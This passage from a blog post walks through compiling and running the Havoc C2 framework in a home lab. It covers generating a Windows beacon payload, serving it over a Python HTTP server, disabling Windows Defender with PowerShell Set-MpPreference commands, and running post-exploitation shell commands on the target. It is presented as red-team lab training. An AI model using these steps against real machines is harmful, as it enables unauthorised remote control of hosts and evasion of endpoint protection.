shortcut.</p><h3>Clone Havoc Repo</h3><p>Two ways to get Havoc. Pick your poison:</p><h4>Method 1 — Git clone (normal humans):</h4><pre>cd ~/Desktop<br>git clone &lt;https://github.com/HavocFramework/Havoc.git&gt;<br>cd Havoc</pre><h4>Method 2 — Manual download (when git hates you):</h4><p>Go to https://github.com/HavocFramework/Havoc → Code → Download ZIP → extract to Desktop</p><h4>The Demon Submodule Problem (Read This)</h4><p>Havoc’s actual beacon/implant is called Demon and it lives in a separate repo as a git submodule. The official docs say run this:</p><pre>git submodule init<br>git submodule update</pre><p>Output: nothing. Silence. Not even an error.</p><p>Why? Because the Demon repo is <strong>archived on GitHub</strong> and the submodule silently fails without telling you. You won’t know anything is wrong until the payload compilation fails 30 minutes later with:</p><pre>cc1: fatal error: src/Demon.c: No such file or directory</pre><p>At that point you’ll question your career choices. That’s normal. Here’s the fix:</p><p>Go to https://github.com/HavocFramework/Demon → Download ZIP manually → extract it somewhere (i used ~/Desktop/Havoc-new).</p><p>Verify the source is actually there:</p><pre>ls ~/Desktop/Havoc-new/payloads/Demon/<br># Should show: CMakeLists.txt  include  makefile  README.md  scripts  src</pre><p>If you see the src folder — you&#39;re saved. Keep it. You&#39;ll need it in the next section.</p><h3>Building the Teamserver — The Easy Part (Enjoy It While It Lasts)</h3><p>Compared to what’s coming next, building the teamserver is a walk in the park. Go into the teamserver directory and let Go do its thing:</p><pre>cd ~/Desktop/Havoc/teamserver<br>go mod download</pre><p>This downloads all Go dependencies. No output is normal. No it’s not broken. It’s just Go being the silent professional in the room while everything else around it is on fire.</p><p>Now build the teamserver binary:</p><pre>go build -o havoc main.go</pre><p>Again — no output during build is normal. Takes 2–3 minutes. Don’t touch anything. Go make some chai. Come back and It’ll be done.</p><p>No errors. Clean binary. That’s it.</p><p><em>Remember to run it with sudo — because we’re binding to port 443 and Linux doesn’t let random processes touch ports below 1024. It’s not being difficult, it’s just protecting you from yourself:</em></p><pre>sudo ./havoc server --profile ../profiles/havoc.yaotl</pre><p>You should see:</p><pre>[INFO] Starting Teamserver on wss://0.0.0.0:40056<br>[INFO] Started &quot;HTTPS&quot; listener</pre><p>Teamserver is alive. Now brace yourself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U59ryLMFp-YM6k5YQ1Tv9A.png" /></figure><h3>Building the Client — Where Hope Goes to Die</h3><p>This is the part nobody warns you about. The Havoc client build on Debian trixie / MX Linux is a dependency obstacle course. i hit every single wall. You don’t have to.</p><p>First, run cmake to configure the build:</p><pre>cd ../client<br>cmake -B build --fresh -DCMAKE_CXX_FLAGS=&quot;-I/usr/local/include -DSPDLOG_HEADER_ONLY -DSPDLOG_FMT_EXTERNAL&quot; -DCMAKE_EXE_LINKER_FLAGS=&quot;-lfmt&quot;</pre><blockquote><strong><em>“Why are there so many flags?”</em></strong></blockquote><blockquote><em>glad you asked. We’ll explain each one as we go through the errors that made them necessary. Because we didn’t start with these flags. We earned them. One error at a time. At 2AM.</em></blockquote><p>Now build:</p><pre>cmake --build build</pre><p><strong>Error 1 — nlohmann json (Warmup Round)</strong></p><pre>fatal error: nlohmann/json.hpp: No such file or directory</pre><p>This one is polite enough to tell you exactly what’s missing. Install it:</p><pre>sudo apt install -y nlohmann-json3-dev</pre><p>Done. Moving on.</p><p><strong>Error 2 — spdlog (False Start)</strong></p><pre>fatal error: spdlog/spdlog.h: No such file or directory</pre><p>Again, very clear. Install it:</p><pre>sudo apt install -y libspdlog-dev</pre><p>Seems fine. It’s not fine. You’ll find out soon.</p><p><strong>Error 3 — toml.hpp (Where Things Get Spicy)</strong></p><pre>fatal error: toml.hpp: No such file or directory</pre><p>Simple missing header right? Wrong. This error has layers.</p><p><strong>Attempt 1</strong> — tried tomlplusplus (wrong library entirely, different API):</p><pre># This will NOT work — wrong library<br>sudo wget &lt;https://raw.githubusercontent.com/marzer/tomlplusplus/master/toml.hpp&gt; -O /usr/local/include/toml.hpp</pre><p>Downloaded successfully. Still broke. Because Havoc uses toml::basic_value with 3 template arguments — that&#39;s toml11&#39;s API, not tomlplusplus.</p><p><strong>Attempt 2</strong> — apt install:</p><pre>sudo apt install -y libtoml11-dev</pre><p>Installs v4.4.0. Havoc needs v3.x. The error becomes:</p><pre>wrong number of template arguments (3, should be 1)</pre><p>Which is the compiler’s way of saying “I know what you’re trying to do and I refuse.”</p><p><strong>Attempt 3</strong> — wget single header from v3.8.1: Downloaded 1.4KB file. Looked suspicious. Was suspicious. It was just a stub that included other files that didn’t exist.</p><h4>Final fix that actually works:</h4><pre>sudo apt remove -y libtoml11-dev<br>sudo rm -f /usr/local/include/toml.hpp<br>cd /tmp<br>git clone --branch v3.8.1 &lt;https://github.com/ToruNiina/toml11.git&gt;<br>sudo cp -r toml11/toml /usr/local/include/<br>sudo cp toml11/toml.hpp /usr/local/include/</pre><p>Clone the full v3.8.1 repo. Copy BOTH the toml folder AND toml.hpp. The single header file is useless without the whole directory structure behind it. Learned that the hard way.</p><h4>Error 4 — The Final Boss (fmt + spdlog ABI Mismatch)</h4><p>Remember when we installed libspdlog-dev in Error 2? Here&#39;s where it betrays us.</p><p>Build gets to 98%, everything compiles, then at the linking stage:</p><pre>undefined reference to fmt::v10::vformat<br>undefined reference to fmt::v10::detail::assert_fail</pre><p>The system spdlog was compiled against a different version of libfmt than what’s installed on MX Linux. This is a known incompatibility on Debian trixie. The apt versions simply don’t agree with each other.</p><p>The fix — remove system spdlog entirely and tell Havoc to use spdlog in header-only mode with the system fmt:</p><pre>sudo apt remove -y libspdlog-dev<br>cmake -B build --fresh -DCMAKE_CXX_FLAGS=&quot;-I/usr/local/include -DSPDLOG_HEADER_ONLY -DSPDLOG_FMT_EXTERNAL&quot; -DCMAKE_EXE_LINKER_FLAGS=&quot;-lfmt&quot;<br>cmake --build build</pre><p>Those flags do the following:</p><ul><li>I/usr/local/include — tells compiler to look in our custom include directory (where toml11 lives)</li><li>DSPDLOG_HEADER_ONLY — use spdlog as headers only, no pre-compiled library needed</li><li>DSPDLOG_FMT_EXTERNAL — tell spdlog to use the system fmt instead of its own bundled one</li><li>lfmt — link against system libfmt at the end</li></ul><p>Build runs. Gets to 100%. Client binary appears at ~/Desktop/Havoc/client/Havoc.</p><p>One warning about a deprecated Qt function will appear — ignore it. It’s just Qt being dramatic about something that still works fine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xYZDXLgvUA_vM2ca9PzMPA.png" /></figure><h3>Running Teamserver + Client for the First Time</h3><p>Two separate terminals. Always.</p><p><strong>Terminal 1 — Teamserver:</strong></p><pre>cd ~/Desktop/Havoc/teamserver<br>sudo ./havoc server --profile ../profiles/havoc.yaotl</pre><p><strong>Terminal 2 — Client:</strong></p><pre>cd ~/Desktop/Havoc/client<br>QT_QPA_PLATFORM=xcb ./Havoc</pre><p><strong>“Why </strong><strong>QT_QPA_PLATFORM=xcb?&quot;</strong> — because without it, clicking on any session to interact with it causes an instant segfault. The Havoc client crashes. No error, no warning, just dies. The xcb flag forces Qt to use the X11 backend properly on MX Linux. Add it every time. Make it a habit. Tattoo it on your hand if necessary.</p><p>When client opens you’ll see a wall of red errors:</p><pre>[error] Failed to find file: client/Modules/Packer/packer.py<br>[error] Failed to find file: client/Modules/nanodump/nanodump.py<br>[error] Failed to find file: client/Modules/SamDump/samdump.py</pre><p><strong>These are not errors.</strong> These are optional Python modules for advanced post-exploitation. They’re missing because we haven’t installed them yet. The core C2 is fully functional. Ignore them for now.</p><h3>Profile Configuration + Credentials</h3><p>The default profile lives at:</p><pre>~/Desktop/Havoc/profiles/havoc.yaotl</pre><p>Open it:</p><pre>nano ~/Desktop/Havoc/profiles/havoc.yaotl</pre><p>Default credentials:</p><pre>Host = &quot;0.0.0.0&quot;    # Server listens on all interfaces<br>Port = 40056</pre><pre>Operators:<br>User: 5pider     Password: password1234<br>User: Neo        Password: password1234</pre><p><strong>Important:</strong> 0.0.0.0 is correct for the server side — it means listen on all interfaces. But when you login from the client, <strong>do not type 0.0.0.0</strong>. Use your actual MX Linux IP:</p><pre>ip a #use the correct network card ip okay!!</pre><blockquote><em>Whatever that returns — use that IP in the client login screen. Not 0.0.0.0. Never 0.0.0.0. 0.0.0.0 in the client login will have you staring at a connection error wondering what went wrong for longer than you’d like to admit. We know. We were there. 🙂</em></blockquote><p>Change the default passwords before using in any real environment. password1234 is fine for a lab. In production it&#39;s a resignation letter waiting to happen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L1ULPBGluqkOqeHtY2qoSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e0AaNt1cMLhtVu9h3ySHqg.png" /></figure><h4>Creating the Listener — First Taste of Permission Denied</h4><p>Open Havoc client, go to <strong>Attack → Listeners → Add</strong>. Fill in:</p><ul><li>Name: anything you want</li><li>Protocol: <strong>HTTPS</strong></li><li>Host (Bind): your MX Linux IP (get it with ip a | grep inet | grep 192)</li><li>PortBind: <strong>443</strong></li><li>PortConn: <strong>443</strong></li><li>Click Save</li></ul><p>First attempt. Listener shows <strong>Offline</strong> in red:</p><pre>[-] Failed to start &quot;HTTPS&quot; listener: permission denied</pre><p>Classic Linux. Port 443 is a privileged port — anything below 1024 requires root. The teamserver wasn’t running with sudo. Lesson learned.</p><p>Kill the teamserver. Restart it properly:</p><pre>sudo ./havoc server --profile ../profiles/havoc.yaotl</pre><p>Create the listener again. This time it shows <strong>Online</strong> in green.</p><p>While we’re here — open the firewall for all the ports we’ll need. Do it once, forget about it:</p><pre>sudo ufw allow 443<br>sudo ufw allow 8443<br>sudo ufw allow 8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*r3PXx22VWUr8n8-B34HTnw.png" /></figure><h4>Generating the Payload — The Demon Directory Saga</h4><p>Go to <strong>Attack → Payload</strong>. Select your HTTPS listener, set:</p><ul><li>Format: <strong>Windows Exe</strong></li><li>Arch: <strong>x64</strong></li><li>Click Generate</li></ul><p>Havoc prompts you to save. Create a folder mypayloads on Desktop, save it there as demon.x64.exe.</p><p>Except it doesn’t save. Instead:</p><pre>[-] couldn&#39;t compile implant: chdir /home/RDA/Desktop/Havoc/teamserver/payloads/Demon: no such file or directory</pre><p>The Demon payload directory doesn’t exist. Create it:</p><pre>mkdir -p ~/Desktop/Havoc/teamserver/payloads/Demon</pre><p>Try generating again:</p><pre>cc1: fatal error: src/Demon.c: No such file or directory</pre><p>Directory exists now but it’s empty. The actual Demon source files are missing because the git submodule silently failed (remember from the download section?). This is why we told you to keep that Havoc-new folder.</p><p>Copy Demon source to both locations the teamserver looks for it:</p><pre>cp -r ~/Desktop/Havoc-new/payloads/Demon ~/Desktop/Havoc/payloads/<br>cp -r ~/Desktop/Havoc-new/payloads/Demon ~/Desktop/Havoc/teamserver/payloads/</pre><p>Generate payload again. This time you’ll see:</p><pre>[*] starting build<br>[*] compiling source<br>[*] finished compiling source<br>[+] payload generated</pre><p>Save dialog appears. Navigate to ~/Desktop/mypayloads/ → save as demon.x64.exe.</p><p>Your payload is at ~/Desktop/mypayloads/demon.x64.exe — 100KB Windows executable with your C2 address baked in. Handle with care. Or don&#39;t — it&#39;s your lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*2KXG4-QlSR943tT3hQupgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mT0S4OVppFFUzWomQiCSsw.png" /></figure><h4>Transferring Payload to Windows — UFW Had Other Plans</h4><p>Simplest way to get the payload to Windows — Python HTTP server:</p><pre>cd ~/Desktop/mypayloads<br>python3 -m http.server 8080</pre><p>On Windows 10 open browser and go to:</p><pre>&lt;http://192.168.122.90:8080&gt;</pre><p>Page won’t load. Connection refused. Python is running fine, both VMs are on the same network, ping works from Windows to MX — so what’s blocking it?</p><p>Check the firewall:</p><pre>sudo iptables -L INPUT -n | head -5</pre><p>Output:</p><pre>Chain INPUT (policy DROP)</pre><p>There it is. UFW default policy is <strong>DROP</strong> — meaning all incoming traffic is blocked unless explicitly allowed. Python server was running perfectly but every connection from Windows was being silently dropped before it even reached Python.</p><p>The way we diagnosed it — Python was listening correctly:</p><pre>sudo ss -tlnp | grep 8080<br># Shows: 0.0.0.0:8080 — listening on all interfaces ✅</pre><p>Network was connected:</p><pre>ping from Windows to MX worked ✅</pre><p>Only explanation left — firewall. And it was.</p><p>Fix:</p><pre>sudo ufw allow 8080</pre><p>Reload browser on Windows. Directory listing appears. Download demon.x64.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D8cqEAi6E_r3-mNhEDGr4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kMZ5I8tbLDkLqwCbl7ECyw.png" /></figure><h4>Beacon Execution + Session Management — The Ghost Problem</h4><p>Before running the beacon, disable Windows Defender properly. The UI toggle lies to you — it shows everything off but Group Policy or LTSC hardening overrides it silently. Verify and force it off via PowerShell as admin:</p><pre>Set-MpPreference -DisableRealtimeMonitoring $true<br>Set-MpPreference -DisableBehaviorMonitoring $true<br>Set-MpPreference -DisableIOAVProtection $true<br>Set-MpPreference -DisableScriptScanning $true</pre><p>Verify:</p><pre>Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableBehaviorMonitoring, DisableIOAVProtection, DisableScriptScanning</pre><p>All must show True. If anything is blank or False — Defender is still active and will silently block cmd.exe spawning from your beacon.</p><p>Now run demon.x64.exe on Windows. Session appears in Havoc graph view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NSxUDHxDF5kBsjgwb9loZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M9U9VPKAjvSYm3PjKhXrEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OZuSrdt9UAiXEOOJDXeNdw.png" /></figure><h3>Some errors i got during installations</h3><p><strong>The Ghost Session Problem:</strong></p><p>Every time teamserver restarts it restores old sessions from the database. You’ll see 3, 4, 5, 6 sessions in Havoc from previous runs — all dead, all ghosts. The real problem is when you send commands, they sometimes get routed to dead sessions instead of your live one.</p><p>How to identify your real session:</p><ul><li>Open Task Manager on Windows → Details tab</li><li>Find demon.x64.exe → note the <strong>PID</strong></li><li>In Havoc session table match that PID in the Process column</li></ul><p>The session showing demon.x64.exe\\&lt;matching PID&gt; is yours. Right click the ghost sessions → Remove.</p><p><strong>Permanent fix — delete the database before every session:</strong></p><pre>rm ~/Desktop/Havoc/teamserver/data/teamserver.db</pre><p>Teamserver auto-creates a fresh one on next start. One session, no ghosts, no confusion.</p><p><strong>Session mismatch warning:</strong></p><p>If teamserver floods with this:</p><pre>[WARN] Agent: 4046369c, CommandID: 2510, unknown RequestID: 6a5143fb</pre><p>It means an old beacon from a previous database is still running on Windows and trying to talk to a teamserver that doesn’t recognize it anymore. Kill it:</p><ul><li>Task Manager → demon.x64.exe → End Task</li><li>Generate fresh payload</li><li>Execute again</li></ul><p>Fresh beacon + fresh database = clean session every time. 🔥</p><h4>Commands Not Executing — The Queue Graveyard</h4><p>You have a session. You interact with it. You type:</p><pre>shell whoami</pre><p>Response:</p><pre>[*] Tasked demon to execute a shell command</pre><p>Cool. You wait. Nothing comes back. You type another command. Still nothing. You check task list:</p><pre>task list</pre><p>Output:</p><pre>Task ID   Created              Size      Command<br>-------   -------              ----      -------<br>C65A1E32  20/03/2026 17:43:11  138 B     shell ping 192.168.122.90<br>083C9654  20/03/2026 17:43:30  112 B     shell whoami<br>2F1C8B09  20/03/2026 17:43:44  116 B     shell ipconfig<br>21E34B70  20/03/2026 17:43:55  116 B     shell net user</pre><p>Commands are queuing but never executing. Beacon is alive — you can see it in Task Manager using network bandwidth. But output never comes back.</p><p><strong>Root Cause 1 — Ghost Sessions</strong></p><p>Tasks were being assigned to dead restored sessions instead of your live beacon. The database had 6 ghost sessions from previous runs and Havoc was confused about which one was real.</p><p>Fix:</p><pre>rm ~/Desktop/Havoc/teamserver/data/teamserver.db</pre><p>Restart everything. Fresh session. Commands start executing immediately.</p><p><strong>Root Cause 2 — Windows Defender Still Active</strong></p><p>Even after ghost sessions were fixed, shell commands still wouldn&#39;t return output. Built-in commands like pwd and dir worked fine but anything using shell or powershell prefix silently failed.</p><p>Why? Defender was blocking cmd.exe and powershell.exe from spawning as child processes of demon.x64.exe. Classic parent-child process detection.</p><p>The UI showed everything was off. It was lying.</p><p>Verify actual Defender state:</p><pre>Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableBehaviorMonitoring, DisableIOAVProtection</pre><p>All three returned <strong>blank/empty</strong> — meaning False — meaning fully ON despite what the UI showed.</p><p>Disable everything properly:</p><pre>Set-MpPreference -DisableRealtimeMonitoring $true<br>Set-MpPreference -DisableBehaviorMonitoring $true<br>Set-MpPreference -DisableIOAVProtection $true<br>Set-MpPreference -DisableScriptScanning $true</pre><p>Verify again — all must show True:</p><pre>Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableBehaviorMonitoring, DisableIOAVProtection, DisableScriptScanning</pre><p>After this — shell commands started returning output properly.</p><h4>Client Segfault — Clicking Interact Kills Everything</h4><p>You click on a session to interact with it. Havoc client instantly dies. No error, no warning, no crash report. Just gone.</p><p>Terminal shows:</p><pre>Segmentation fault</pre><p>This happens because of a Qt5 display backend issue on MX Linux. The Havoc client uses Qt5 for its UI and on MX Linux the default platform plugin causes a segfault when handling certain mouse click events on session widgets.</p><p>Also if you ever ran the client with sudo previously — that causes XDG_RUNTIME_DIR not set warning which compounds the issue.</p><p><strong>Fix — always launch client with this flag:</strong></p><pre>cd ~/Desktop/Havoc/client<br>QT_QPA_PLATFORM=xcb ./Havoc</pre><p>The xcb flag forces Qt to use the X11 backend directly instead of trying to auto-detect the platform. No more segfault. Add this to your muscle memory — every single time you launch the client.</p><p><strong>Note:</strong> Never run the client with sudo. Teamserver needs sudo (port 443). Client does not. Running client with sudo breaks display environment variables and causes exactly the kind of weird Qt crashes we described above.</p><h3>Bonus Errors — Because Linux Loves You</h3><h4>Payload Write Permission Error</h4><p>If you ever ran the client with sudo before and try to generate a new payload:</p><pre>[error] Couldn&#39;t write to file /home/RDA/Desktop/mypayloads/demon.x64.exe</pre><p>The old payload file is owned by root. Fix ownership:</p><pre>sudo chown -R RDA:RDA ~/Desktop/mypayloads/</pre><p>Replace RDA with your actual username. Generate payload again — saves cleanly.</p><h4>The Unknown RequestID Spam</h4><p>If teamserver terminal floods with:</p><pre>[WARN] Agent: 4046369c, CommandID: 2510, unknown RequestID: 6a5143fb.<br>This is either a bug or malicious activity</pre><p>Don’t panic. It’s not malicious activity — it’s an old beacon from a previous database still running on Windows trying to talk to a teamserver that deleted its records.</p><p>The beacon is alive, checking in, sending responses — but the teamserver wiped its session context when you deleted the database. So every response the old beacon sends back gets rejected with this warning.</p><p>Fix:</p><ul><li>Task Manager on Windows → Details → End Task demon.x64.exe</li><li>Generate fresh payload</li><li>Execute fresh beacon</li><li>Warnings stop immediately</li></ul><h3>Final Working Flow — From Zero to Shell</h3><p>This is the exact procedure that works every single time. No variations, no shortcuts:</p><p><strong>Step 1 — Clean start:</strong></p><pre>rm ~/Desktop/Havoc/teamserver/data/teamserver.db</pre><p><strong>Step 2 — Start teamserver:</strong></p><pre>cd ~/Desktop/Havoc/teamserver<br>sudo ./havoc server --profile ../profiles/havoc.yaotl</pre><p><strong>Step 3 — Start client (separate terminal):</strong></p><pre>cd ~/Desktop/Havoc/client<br>QT_QPA_PLATFORM=xcb ./Havoc</pre><p><strong>Step 4 — Login:</strong></p><pre>Host:     192.168.122.90    # Your actual MX IP — not 0.0.0.0<br>Port:     40056<br>User:     5pider<br>Password: password1234</pre><p><strong>Step 5 — Create listener:</strong></p><ul><li>Attack → Listeners → Add</li><li>Protocol: HTTPS</li><li>Host: your MX Linux IP</li><li>PortBind: 443</li><li>PortConn: 443</li><li>Save</li></ul><p><strong>Step 6 — Disable Defender on Windows:</strong></p><pre>Set-MpPreference -DisableRealtimeMonitoring $true<br>Set-MpPreference -DisableBehaviorMonitoring $true<br>Set-MpPreference -DisableIOAVProtection $true<br>Set-MpPreference -DisableScriptScanning $true</pre><p><strong>Step 7 — Generate payload:</strong></p><ul><li>Attack → Payload</li><li>Select HTTPS listener</li><li>Format: Windows Exe</li><li>Arch: x64</li><li>Generate → save to ~/Desktop/mypayloads/demon.x64.exe</li></ul><p><strong>Step 8 — Transfer payload:</strong></p><pre>cd ~/Desktop/mypayloads<br>python3 -m http.server 8080</pre><p>On Windows browser: http://192.168.122.90:8080 → download</p><p><strong>Step 9 — Execute and verify:</strong></p><ul><li>Run demon.x64.exe on Windows</li><li>Note PID in Task Manager → Details tab</li><li>Match PID to session in Havoc</li><li>Remove ghost sessions</li></ul><p><strong>Step 10 — Interact and test:</strong></p><pre>pwd<br>shell whoami<br>shell whoami /all<br>screenshot<br>shell echo it works</pre><p>If you see output coming back — you’re done. Lab is operational. 🎯</p><p><strong>Verified Working Commands</strong></p><pre>pwd                     # Current directory<br>dir                     # List directory contents<br>screenshot              # Grab target screen<br>shell whoami            # Current user<br>shell whoami /all       # Full privileges<br>shell ipconfig          # Network info<br>shell systeminfo        # Full system info<br>shell net user          # Local users<br>shell net localgroup    # Local groups<br>powershell Get-Process  # Running processes<br>checkin                 # Force beacon checkin<br>task list               # View pending tasks<br>job list                # View running jobs<br>help                    # Full Havoc command list</pre><h3>Victory — What You Just Built and What’s Coming Next</h3><p>If you’ve made it here and you have a shell on that Windows machine — congratulations. Genuinely. Take a second to appreciate what just happened.</p><p>You didn’t download a pre-built Kali VM and run three copy-pasted commands. You built a full C2 infrastructure from scratch. On a lightweight Linux distro that most people have never heard of. With a framework that fought you at every step — missing submodules, version mismatches, silent Defender lies, ghost sessions, Qt segfaults, UFW blocking you at the last second. And you fixed every single one of them.</p><p>That’s not copy-pasting. That’s actual understanding.</p><p>Here’s what you built today:</p><ul><li>A host machine running at <strong>100MB idle</strong> — while Windows 11 is sitting somewhere crying in 6 GB</li><li>A full KVM hypervisor setup with virt-manager — no VirtualBox bloat</li><li>Havoc C2 compiled from source — not installed, <strong>compiled</strong></li><li>An HTTPS listener with a real SSL connection</li><li>A working Demon beacon on Windows 10 LTSC</li><li>Full shell access on a target machine with output returning cleanly</li></ul><p>Total RAM used for the entire setup? Under 5 GB. Your friend’s Kali VM uses more RAM just sitting idle. Let that sink in.</p><p>None of that is in any tutorial. That’s stuff you only learn by fighting through it.</p><p><strong>What’s coming next:</strong></p><p>This lab isn’t done — it’s just getting started. You now have a working C2 with a live session. Here’s what’s waiting for you:</p><ul><li><strong>BOFs (Beacon Object Files)</strong> — execute code directly in the beacon’s memory without spawning any child processes. No cmd.exe, no powershell.exe, nothing for EDR to detect. Pure in-memory execution.</li><li><strong>Token manipulation</strong> — steal tokens from higher privileged processes, impersonate users, move laterally without dropping credentials</li><li><strong>LOTL (Living off the Land)</strong> — abuse Windows built-in binaries and features instead of dropping tools. mshta, rundll32, wmic — your new best friends</li><li><strong>BloodHound + AD enumeration</strong> — map the entire Active Directory environment, find the shortest path to Domain Admin</li><li><strong>EDR testing</strong> — install an open source EDR like LimaCharlie or Wazuh on the Windows target and see what your beacon does and doesn’t trigger. That’s where the real learning begins.</li><li><strong>MITRE ATT&amp;CK simulation</strong> — map every technique you run to a MITRE TTP. Initial Access → Execution → Persistence → Privilege Escalation → Lateral Movement. Build a full kill chain in your own lab.</li></ul><p>The hard part is done. You have the lab. You have the C2. You have the shell.</p><p>RED-ADMIN — <a href="https://www.linkedin.com/in/ssavinash/">https://www.linkedin.com/in/ssavinash/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32053403a276" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>